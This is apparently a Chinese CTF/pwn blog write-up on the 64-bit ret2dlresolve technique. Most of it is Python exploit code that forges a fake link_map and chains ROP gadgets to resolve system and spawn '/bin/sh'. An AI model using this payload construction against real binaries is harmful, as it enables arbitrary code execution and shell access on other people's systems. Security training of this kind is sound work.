zoukankan      html  css  js  c++  java
  • ret2dl64

    ret2dl64

    ret2dl64 与ret2dl32不同,ret2dl64需要知道libc。

    检查保护:

    image-20200514133244568

    IDA看一看

    image-20200514133310858

    read_got 被置为0,强制你使用ret2dlresolve。

    我们先伪造link_map,然后让程序去执行我们伪造的link_map,执行system('/bin/sh')。

    首先我们需要恢复read函数的got表,方法就是布置好参数跳转到plt0重新解析read函数。

    bin_sh =  fake_link_map_addr + 0x78
    
    payload = fake_link_map
    payload = payload.ljust(0x118,'x00')
    payload += p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_r15_ret)+p64(0x0600E10)+p64(0)+p64(0x400406)  #恢复read_got的内容
    payload += p64(pop_rdi_ret) + p64(bin_sh)+p64(ret)+ p64(plt_load) + p64(fake_link_map_addr) + p64(0)#通过fake_link_map调用system('/bin/sh')
    

    我们再来看看fake_link_map

    l_addr = libc.sym['system'] - libc.sym['read']
    r_offset = buf - l_addr  #保证buf为可读可写就可以了
    
    #负数需要补码
    if l_addr < 0:
     l_addr = l_addr + 0x10000000000000000
    
    
    fake_link_map_addr = buf
    fake_dyn_strtab_addr = fake_link_map_addr + 0x8
    fake_dyn_symtab_addr = fake_link_map_addr + 0x18
    fake_dyn_rel_addr = fake_link_map_addr + 0x28
    
    
    fake_link_map  = p64(l_addr)
    fake_link_map += p64(0) + p64(dynstr) #fake_dyn_strtab : fake_link_map_addr + 0x8
    fake_link_map += p64(0) + p64(read_got - 0x8) #fake_dyn_symtab : fake_link_map_addr + 0x18
    fake_link_map += p64(0) + p64(fake_link_map_addr + 0x38) #fake_dyn_rel : fake_link_map_addr + 0x28
    fake_link_map += p64(r_offset) + p64(0x7) + p64(0) #fake_rel : fake_link_map_addr + 0x38
    fake_link_map = fake_link_map.ljust(0x68,'x00')
    
    fake_link_map += p64(fake_dyn_strtab_addr)#dyn_strtab的指针
    fake_link_map += p64(fake_dyn_symtab_addr) #dyn_strsym的指针 : fake_link_map_addr + 0x70
    fake_link_map += '/bin/shx00'   #fake_link_map_addr + 0x78
    fake_link_map = fake_link_map.ljust(0xF8,'x00')
    fake_link_map += p64(fake_dyn_rel_addr)#在fake_link_map_addr + 0xF8处,是rel.plt指针
    
  • 相关阅读:
    UpdateParameterUtils
    从WAVE头文件里获取压缩方式
    oracle rac下调节redo log file 文件大小
    centos下yum安装lamp和lnmp轻松搞定
    回车登录(支持IE 和 火狐等浏览器)
    图结构练习——推断给定图是否存在合法拓扑序列(拓扑排序推断环)
    HDU 2181 DFS
    Android 运行 gson.toJson(object) 报java.lang.StackOverflowError异常
    Spring-SpringJdbcTemlate配置介绍
    Cocos2D-x设计模式发掘之中的一个:单例模式
  • 原文地址:https://www.cnblogs.com/Rookle/p/12888150.html
Copyright © 2011-2022 走看看